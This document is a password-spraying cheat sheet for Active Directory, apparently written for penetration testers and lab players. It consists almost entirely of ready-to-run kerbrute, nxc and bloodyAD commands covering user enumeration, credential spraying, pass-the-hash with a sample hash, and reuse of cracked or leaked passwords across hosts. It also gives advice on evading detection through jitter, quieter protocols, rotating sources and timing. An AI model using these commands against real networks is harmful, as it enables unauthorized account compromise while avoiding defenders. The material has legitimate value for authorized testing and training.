Password Spraying
Sections Password Spraying
One password, many users. Stay under lockout. Get creds.
DC=10.10.11.50
DOMAIN=corp.local
i. Lockout policy FIRST
Spray without checking lockout = locked accounts = client incident. Always read the policy.
bloodyAD (read directly from domain object):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object "DC=corp,DC=local" \
--attr minPwdLength,lockoutThreshold,lockOutObservationWindow,lockoutDuration,maxPwdAge,minPwdAge
Output keys to read:
lockoutThreshold- failed attempts before lockout (0 = no lockout, the dream)lockOutObservationWindow- time window for counting failures (negative number, divide by -600,000,000 for minutes)lockoutDuration- how long the account stays lockedminPwdLength- informs password choices
nxc shortcut:
nxc ldap $DC -u $USER -p $PASS --pass-pol
nxc smb $DC -u $USER -p $PASS --pass-pol
Pre-auth: if lockoutThreshold is 0, spray freely. If it’s 5, spray at most 4 attempts per user per window. Always leave a margin of 1.
The default domain policy can be overridden per-group by PSOs. nxc has a module for this:
nxc ldap $DC -u $USER -p $PASS -M pso
Check before spraying privileged users, they often have stricter lockout.
ii. Build a user list
If you don’t have creds yet, kerbrute-enum first:
kerbrute userenum -d $DOMAIN --dc $DC /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -o users.valid
With creds:
nxc ldap $DC -u $USER -p $PASS --users-export users.txt
## or via LDAP filter for active accounts only (exclude disabled, exclude machine accounts):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(&(objectClass=user)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
--attr samaccountname > users.raw
grep -i samaccountname users.raw | awk '{print $NF}' > users.txt
iii. nxc spray
The default behavior is “exit on first success”. For spraying you almost always want --continue-on-success.
Single password, many users:
nxc smb $DC -u users.txt -p 'Winter2024!' --continue-on-success
Multiple passwords against one user (brute force, only when no lockout):
nxc smb $DC -u Administrator -p passwords.txt --continue-on-success
One-to-one user:password matching (creds from a breach, no permutation):
nxc smb $DC -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
NTLM hash spray (PtH against multiple users):
nxc smb $DC -u users.txt -H 8846f7eaee8fb117ad06bdd830b7586c --no-bruteforce --continue-on-success
Throttle to dodge detection (random 2-5 second delay between attempts):
nxc smb $DC -u users.txt -p 'Winter2024!' --jitter 2-5 --continue-on-success
## Hardcoded 3-second delay:
nxc smb $DC -u users.txt -p 'Winter2024!' --jitter 3 --continue-on-success
If you spray multiple DCs with the same user list, each DC counts failures independently. Same user, two failed attempts on two DCs = two failures across the domain (DC replicates lockout counters in modern AD), but jitter is local to your run, not domain-aware. Slow down.
iv. Pick the protocol
Some protocols don’t fail-lock the account on bad password:
- kerberos (kerbrute) - pre-auth failures DO count toward lockout in modern AD, but the logs are cleaner
- smb - counts toward lockout, generates 4625 events
- ldap - counts toward lockout
- winrm - counts toward lockout, often less monitored
- rdp - counts toward lockout, very noisy in logs
When in doubt, use Kerberos (kerbrute). Pre-auth errors are quieter than 4625 SMB events.
kerbrute passwordspray:
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2024!'
## With delay (seconds):
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2024!' --delay 1000
## Output to file:
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2024!' -o spray.out
kerbrute wants samaccountname only (no domain prefix). nxc accepts both user and domain\user. Strip domain prefixes before feeding into kerbrute.
v. Password candidates
Without intel, common patterns in 2026 enterprises:
Season + Year + !→Winter2025!,Summer2026!,Spring2024!Company + 123→Acme123!,Contoso2024Welcome + Year→Welcome2025!,Welcome123!Password + N→Password123,Password1!<Domain shortname>1→ forcorp.local, tryCorp1!,Corp2024!- The min password length + 1 capital + 1 number + 1 special is the lowest-effort policy compliance
With intel from descriptions, comments, GPP:
nxc ldap $DC -u $USER -p $PASS --get-desc-users
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(description=*)' --attr samaccountname,description | grep -iE 'pass|temp|init|defaul'
vi. Reused passwords across local + domain
Once you have a domain password, spray it as a LOCAL account too. Admins often reuse:
nxc smb 10.10.11.0/24 -u Administrator -p 'CrackedPass1!' --local-auth --continue-on-success
This finds every machine where the local Administrator password equals the cracked domain password. Without LAPS, this is shockingly common.
vii. Reverse spray (one user, many hashes)
When you have a single high-value username and a database of leaked hashes:
nxc smb $DC -u Administrator -H hashes.txt --no-bruteforce --continue-on-success
Useful when you found a hash dump (an old breach DB, a cache file) and want to test all hashes against one privileged account.
viii. After a hit
Mark the user owned, re-collect BloodHound, check what new paths open up:
nxc smb $DC -u found_user -p 'FoundPass!' --shares
nxc winrm $DC -u found_user -p 'FoundPass!'
bloodyAD -d $DOMAIN -u found_user -p 'FoundPass!' --host $DC get writable --bh
Then spray that password against the rest of the domain:
nxc smb $DC -u users.txt -p 'FoundPass!' --continue-on-success
Reuse is the rule, not the exception. If one user has password X, expect 5-10 more to share it.
ix. OpSec
- Every failed login is a 4625 (interactive) or 4771 (Kerberos pre-auth fail) event on the DC
- Spray slowly, one password per user per lockout-window-minus-margin
- Use kerbrute when possible, less noisy than nxc on SMB
- Rotate sources if you can pivot through multiple hosts
- Avoid spraying weekends, traffic anomalies stand out more
- On HTB and labs, lockout is usually disabled, fire as fast as you want